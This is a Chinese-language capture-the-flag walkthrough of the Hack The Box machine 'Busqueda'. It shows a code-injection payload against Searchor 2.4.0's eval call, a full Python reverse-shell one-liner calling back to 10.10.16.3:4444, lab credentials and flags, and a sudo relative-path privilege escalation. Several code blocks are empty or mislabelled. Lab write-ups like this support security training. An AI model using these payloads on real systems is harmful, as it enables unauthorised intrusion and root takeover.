Busqueda_easy
Busqueda_easy
076wBusqueda_easy
信息收集
1 | namp: |
可知靶机开启22端口和80端口
尝试访问80端口 发现跳转至http://searcher.htb/
修改hosts文件 vim /etc/hosts
漏洞探测
22端口为ssh服务 顺手爆破一下,万一弱口令呢
测试功能点,看到框就想SQL注入一下
注入无果,猜测 '
为某种闭合导致语句无法正常执行,再次尝试 '+'
正常回显,证明猜测
此时语句应为 query='11'+''
这里有个版权信息指向https://github.com/ArjunSharda/Searchor
Searchor 2.4.0版本。在github中查看历史版本发现2.4.2中修复了一个漏洞 跟进查看一下
2.4.2版本去除了eval的使用 修复了远程命令执行漏洞
下载2.4.0版本源码 发现在src/searchor/main.py调用了eval
它可以提供使用以下函数执行任意代码的能力:
1 | __import__('os').system('<CMD>') |
payload就应为'+__import__("os").system("ls")+'
漏洞利用
反弹shell
1 | 11'+__import__("os").system("python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.3\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'")+' |
权限提升
查看家目录 在家目录下发现user.txt 为第一个flag 175509029a5543355630a64433c10791
翻翻文件看看,找到git账号密码 cody:jh1usoih2bkjaspwe92
尝试访问 http://gitea.searcher.htb/ 无法访问 修改hosts后成功
使用cody账号登录gitea系统,尝试administrator使用同密码登录失败
对比了一下这个仓库和/var/www/app中文件,可能cody即为svc
尝试使用此密码登录ssh,svc:jh1usoih2bkjaspwe92
sudo -l 命令用于列出当前用户在 sudoers 文件中被授权执行的命令以及使用哪些参数和选项。如果当前用户没有 root 权限,这个命令可以让用户查看自己可以执行哪些以 root 权限执行的命令,从而帮助用户理解他们的权限。如果用户有足够的特权,它也可以用于更改 sudoers 文件或添加新的授权。
跟进一下system-checkup.py文件,发现只有执行权限
运行一下system-checkup.py
1 | sudo /usr/bin/python3 /opt/scripts/system-checkup.py -h |
都执行一次查看
1 | sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps |
docker-ps 列出一个gitea容器和一个mysql容器
docker-inspect 提示要跟两个参数
full-checkup 对容器体检
掏出GPT
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a
在配置文件中找到两个密码
jI86kGUuj87guWr3RyF
yuiu1hoiu4i5ho1uh
碰碰运气试试密码,只有gitea使用 administrator:yuiu1hoiu4i5ho1uh 登录成功
回到system-checkup.py文件
1 | #!/bin/bash |
在full-checkup处
1 | elif action == 'full-checkup': |
这部分代码定义了’full-checkup’操作的处理逻辑。它尝试执行名为’full-checkup.sh’的脚本,并将输出打印到终端。如果执行过程中发生错误,它会打印出”Something went wrong”的错误消息,并退出脚本执行。如果一切顺利,它会打印”[+] Done!”作为完成的提示消息。
但是此处 full-checkup.sh 没有使用绝对路径路径,意味着可以在其他目录创建此文件并执行。
切换tmp目录 不出意外执行错误,证明猜想
1 | touch full-checkup.sh #创建 full-checkup.sh 文件 |
提权为root,查看家目录获取第二个flag 1c4bb1d71ccdf756979b6d7c4aafb3e9